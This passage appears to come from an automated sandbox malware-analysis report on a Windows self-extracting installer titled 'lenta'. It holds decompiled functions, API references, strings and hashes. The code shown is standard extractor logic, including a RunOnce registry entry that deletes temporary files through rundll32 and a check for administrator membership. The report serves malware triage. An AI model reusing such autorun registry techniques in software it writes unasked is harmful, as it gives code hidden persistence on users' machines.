				return E011D6CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x011d44b9
0x011d44c4
0x011d44cb
0x011d44d8
0x011d44e4
0x011d44eb
0x011d44ee
0x011d44ef
0x011d44ef
0x011d44f1
0x011d44f7
0x011d44f8
0x011d467b
0x011d44fe
0x011d4509
0x011d4518
0x011d4525
0x011d4562
0x011d4568
0x011d4568
0x011d456b
0x011d456b
0x011d456d
0x011d456e
0x011d4572
0x011d4578
0x011d457c
0x011d45cb
0x011d4607
0x011d4607
0x011d460d
0x011d4613
0x011d4617
0x00000000
0x011d461d
0x011d4623
0x011d4626
0x011d4628
0x00000000
0x011d4628
0x011d45cd
0x011d45cd
0x011d45cf
0x011d45cf
0x011d45d2
0x011d45d2
0x011d45d4
0x011d45d5
0x011d45db
0x011d45de
0x011d45e3
0x011d45e9
0x011d45ed
0x00000000
0x011d45f3
0x011d45fd
0x00000000
0x011d4602
0x011d45ed
0x011d457e
0x011d457e
0x011d4580
0x011d4580
0x011d4583
0x011d4583
0x011d4585
0x011d4586
0x011d458a
0x011d458c
0x011d458f
0x011d458f
0x011d4591
0x011d4592
0x011d459b
0x011d459e
0x011d45a3
0x011d45a9
0x011d45ad
0x00000000
0x011d45af
0x011d45af
0x011d45bf
0x011d462d
0x011d4630
0x011d463d
0x011d464e
0x011d464e
0x011d463f
0x011d4640
0x011d4647
0x011d464c
0x00000000
0x00000000
0x011d464c
0x011d4666
0x011d466d
0x011d466f
0x011d4675
0x011d4675
0x011d45ad
0x011d4527
0x011d452e
0x011d453f
0x011d453f
0x011d4530
0x011d4531
0x011d4538
0x011d453d
0x00000000
0x00000000
0x011d453d
0x011d4554
0x011d455a
0x011d455a
0x011d455a
0x011d4525
0x011d468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 011D45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 011D45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 011D460D
MessageBeep.USER32(00000000), ref: 011D4630
MessageBoxA.USER32(?,00000000,lenta,00000000), ref: 011D4666
LocalFree.KERNEL32(00000000), ref: 011D466F

Part of subcall function 011D681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 011D686E
Part of subcall function 011D681F: GetSystemMetrics.USER32(0000004A), ref: 011D68A7
Part of subcall function 011D681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011D68CC
Part of subcall function 011D681F: RegQueryValueExA.ADVAPI32(?,011D1140,00000000,?,?,0000000C), ref: 011D68F4
Part of subcall function 011D681F: RegCloseKey.ADVAPI32(?), ref: 011D6902

Strings

LoadString() Error. Could not load string resource., xrefs: 011D44E4
lenta, xrefs: 011D4545, 011D465A

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$lenta
API String ID: 3244514340-1000497449
Opcode ID: 769a05f93468d6101d132e22bcd289ccbe98b1bffdc94a09a93803cbcd52d892
Instruction ID: ebe786f9558e36264c5eb604c62ea120a78867c1f252437657de4875ddbcca23
Opcode Fuzzy Hash: 769a05f93468d6101d132e22bcd289ccbe98b1bffdc94a09a93803cbcd52d892
Instruction Fuzzy Hash: 8F51577290121AAFDF29DF28DC48BAA7B79EF44304F0401A4ED19A3A45DB31DE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011D2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011D2773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E011D1781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E011D658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E011D658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x11d1140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E011D1680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E011D6CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x011d2773
0x011d277e
0x011d2785
0x011d278a
0x011d278d
0x011d2790
0x011d2792
0x011d2798
0x011d279d
0x011d28b2
0x00000000
0x011d27a3
0x011d27a3
0x011d27af
0x011d27c2
0x011d27c8
0x011d27cd
0x011d27d5
0x011d28b7
0x011d28b9
0x00000000
0x011d27db
0x011d27dd
0x011d28aa
0x00000000
0x011d27e3
0x011d27e3
0x011d27ec
0x011d27f8
0x011d2803
0x011d280b
0x011d2831
0x011d28c3
0x011d28c9
0x011d28cd
0x011d2837
0x011d285a
0x011d285c
0x011d2865
0x011d2892
0x011d2895
0x00000000
0x00000000
0x011d2867
0x011d2878
0x011d288c
0x00000000
0x011d287a
0x011d2880
0x011d2885
0x011d2897
0x011d2899
0x011d2899
0x011d2878
0x011d2865
0x011d28a0
0x011d28bf
0x011d28c1
0x00000000
0x00000000
0x011d28c1
0x011d2831
0x011d27dd
0x011d27d5
0x011d28e5

APIs

CharUpperA.USER32(DC3102D5,00000000,00000000,00000000), ref: 011D27A8
CharNextA.USER32(0000054D), ref: 011D27B5
CharNextA.USER32(00000000), ref: 011D27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2829
RegQueryValueExA.ADVAPI32(?,011D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 011D28AA
GetSystemDirectoryA.KERNEL32 ref: 011D28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 011D27E4

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: d06ba28897f31b702abf63b4f0b44e084a5439aaf21c1c0f7ecbcca707013a7a
Instruction ID: 5d1b86cc408e30afe6daead0e088d2313e2b2a051f0ff1836d0f2449710481ff
Opcode Fuzzy Hash: d06ba28897f31b702abf63b4f0b44e084a5439aaf21c1c0f7ecbcca707013a7a
Instruction Fuzzy Hash: 94419371E01128AFDB2D9B64DC85AEABBBDEF55700F0040A9F659D3105DB748EC58FA0

Uniqueness

Uniqueness Score: -1.00%

Function 011D2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E011D2267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x11d8004; // 0xdc3102d5
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x11d8530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E011D658A( &_v268, 0x104, 0x11d1140);
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E011D171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E011D6CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x011d2272
0x011d2277
0x011d2279
0x011d2283
0x011d2289
0x011d22ab
0x011d22b1
0x011d22c4
0x011d22e0
0x011d22e6
0x011d22f5
0x011d230d
0x011d231c
0x011d231c
0x011d2321
0x011d233a
0x011d2342
0x011d2348
0x011d234b
0x011d234c
0x011d234c
0x011d234e
0x011d234f
0x011d236e
0x011d236e
0x011d237a
0x011d2380
0x011d2380
0x011d2381
0x011d2381
0x011d238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 011D22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 011D22D8
memset.MSVCRT ref: 011D22F5
GetSystemDirectoryA.KERNEL32 ref: 011D2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 011D236E
RegCloseKey.ADVAPI32(?), ref: 011D237A

Strings

wextract_cleanup0, xrefs: 011D227C, 011D22CD, 011D2363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011D2299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 011D232D
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D2321

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2554356261
Opcode ID: 518d02c7c4157a97307da7b24f0f4ea7f919334f2bd896dd00f9c4e45f5fbd55
Instruction ID: 82d6b88e47cc8551de002df5cf4e2df8cef5eab07d9accb6ca51b959032a4a9b
Opcode Fuzzy Hash: 518d02c7c4157a97307da7b24f0f4ea7f919334f2bd896dd00f9c4e45f5fbd55
Instruction Fuzzy Hash: 38319571A012287BDB39DB65DC89FEBBB7CEF54644F0001A9F50DA6001EB71AB84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011D3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E011D3100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x11d8590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x11d8590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E011D43D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x11d8d4c);
					SetWindowTextA(_t33, "lenta");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x11d88b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E011D30C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x011d3108
0x011d310b
0x011d31b7
0x011d31ca
0x011d31d0
0x011d31d0
0x011d31da
0x00000000
0x011d31da
0x011d3111
0x011d3114
0x011d3136
0x011d3136
0x011d3138
0x011d313b
0x011d3141
0x00000000
0x011d3143
0x011d3116
0x011d311b
0x011d314b
0x011d3151
0x011d3158
0x011d316a
0x011d3176
0x011d317d
0x011d318b
0x011d319e
0x011d31a3
0x00000000
0x011d31ad
0x011d3120
0x00000000
0x00000000
0x011d312a
0x011d3134
0x00000000
0x00000000
0x00000000
0x011d3134
0x011d312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 011D313B
GetDesktopWindow.USER32 ref: 011D314B
SetDlgItemTextA.USER32(?,00000834), ref: 011D316A
SetWindowTextA.USER32(?,lenta), ref: 011D3176
SetForegroundWindow.USER32(?), ref: 011D317D
GetDlgItem.USER32(?,00000834), ref: 011D3185
GetWindowLongA.USER32(00000000,000000FC), ref: 011D3190
SetWindowLongA.USER32(00000000,000000FC,011D30C0), ref: 011D31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 011D31CA

Strings

lenta, xrefs: 011D3170

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: lenta
API String ID: 3785188418-2780258678
Opcode ID: 1186452eca3b11ee4d1da27e9cef743d155b4360e12394049569d7ff011a451d
Instruction ID: 791907b68eabcbc0a7d70daba0877484330fb72c08428e94a732aba9286cb297
Opcode Fuzzy Hash: 1186452eca3b11ee4d1da27e9cef743d155b4360e12394049569d7ff011a451d
Instruction Fuzzy Hash: 3111AF71257222BBDB2DAB3CBC0CB9A3A74FF4A760F000620F93592188DB709181C746

Uniqueness

Uniqueness Score: -1.00%

Function 011D468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E011D468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x011d4699
0x011d469b
0x011d46a9
0x011d46af
0x011d46b4
0x011d46bc
0x011d46f9
0x00000000
0x011d46f9
0x011d46d9
0x011d46dd
0x00000000
0x00000000
0x011d46e5
0x011d46ef
0x00000000
0x011d46f5
0x011d46ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
memcpy_s.MSVCRT ref: 011D46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

Strings

TITLE, xrefs: 011D469D, 011D46C0
lenta, xrefs: 011D46E4

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$lenta
API String ID: 3370778649-2035842925
Opcode ID: 98917aa22b4b71499f14b63bf143300c181b177b06786280885ee640b7afd57c
Instruction ID: 751e553d8d42df381920a85b0f4bfae50914960a07438ca43496799230f5a34d
Opcode Fuzzy Hash: 98917aa22b4b71499f14b63bf143300c181b177b06786280885ee640b7afd57c
Instruction Fuzzy Hash: 7E018637246210BBE33856A97C4DF6B7E2CDFC5B52F044024FB5A97544CA71888187A5

Uniqueness

Uniqueness Score: -1.00%

Function 011D17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E011D17EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x11da288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E011D6CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x011d17f6
0x011d17fd
0x011d1805
0x011d180b
0x011d180d
0x011d1815
0x011d1818
0x011d1820
0x011d1824
0x011d182c
0x011d1832
0x011d1837
0x011d1851
0x011d1854
0x011d185d
0x011d1862
0x011d186c
0x011d1872
0x011d1877
0x011d187e
0x011d187e
0x011d1883
0x011d1883
0x011d185d
0x011d188a
0x011d188a
0x011d18a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011D18DD), ref: 011D181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 011D182C
AllocateAndInitializeSid.ADVAPI32(011D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011D18DD), ref: 011D1855
FreeSid.ADVAPI32(?,?,?,?,011D18DD), ref: 011D1883
FreeLibrary.KERNEL32(00000000,?,?,?,011D18DD), ref: 011D188A

Strings

CheckTokenMembership, xrefs: 011D1826
advapi32.dll, xrefs: 011D1810

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 2e4e6b9d070d0a6d554b93e711506fe89e889a02bfb3f5abda39e11be55df6df
Instruction ID: 9b0d066f40031372d54fc34c606e6e3070b9802a8e8f222368e5fa17a94990ec
Opcode Fuzzy Hash: 2e4e6b9d070d0a6d554b93e711506fe89e889a02bfb3f5abda39e11be55df6df
Instruction Fuzzy Hash: A6116375E02219BBEB18DFB5EC4AABEBB78EF44701F100179FA15E3240DB7499418B91

Uniqueness

Uniqueness Score: -1.00%

Function 011D3450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D3450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E011D43D0(_t24, _t12);
					SetWindowTextA(_t24, "lenta");
					SetDlgItemTextA(_t24, 0x838,  *0x11d9404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x11d91dc = 1;
					goto L8;
				}
				return 0;
			}

0x011d3459
0x011d345c
0x011d34d8
0x011d34de
0x00000000
0x011d34e0
0x011d345e
0x011d3463
0x011d349a
0x011d34a0
0x011d34a7
0x011d34b2
0x011d34c4
0x011d34cb
0x00000000
0x011d34cb
0x011d3468
0x011d346e
0x011d3474
0x00000000
0x00000000
0x011d347c
0x011d348c
0x011d3490
0x00000000
0x011d3496
0x011d3484
0x00000000
0x00000000
0x011d3486
0x00000000
0x011d3486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 011D3490
GetDesktopWindow.USER32 ref: 011D349A
SetWindowTextA.USER32(?,lenta), ref: 011D34B2
SetDlgItemTextA.USER32(?,00000838), ref: 011D34C4
SetForegroundWindow.USER32(?), ref: 011D34CB
EndDialog.USER32(?,00000002), ref: 011D34D8

Strings

lenta, xrefs: 011D34AC

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: lenta
API String ID: 852535152-2780258678
Opcode ID: 4ee04aa2bc40a31551f96e148e735e8d70a415180c68dee9b38594e82366e2ca
Instruction ID: a42414dc85bbf5bb229357571cffdc6331639ccbbc21366376cda7de7dbfba7c
Opcode Fuzzy Hash: 4ee04aa2bc40a31551f96e148e735e8d70a415180c68dee9b38594e82366e2ca
Instruction Fuzzy Hash: 5601D875262124ABD72E9F7DF80C96E3F64FF05750F044024FA7697984CB389A81C792

Uniqueness

Uniqueness Score: -1.00%

Function 011D2AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E011D2AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x11d8004; // 0xdc3102d5
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x11d9a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E011D1680(_t65, E011D17C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E011D65E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E011D1680(_t65, E011D17C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
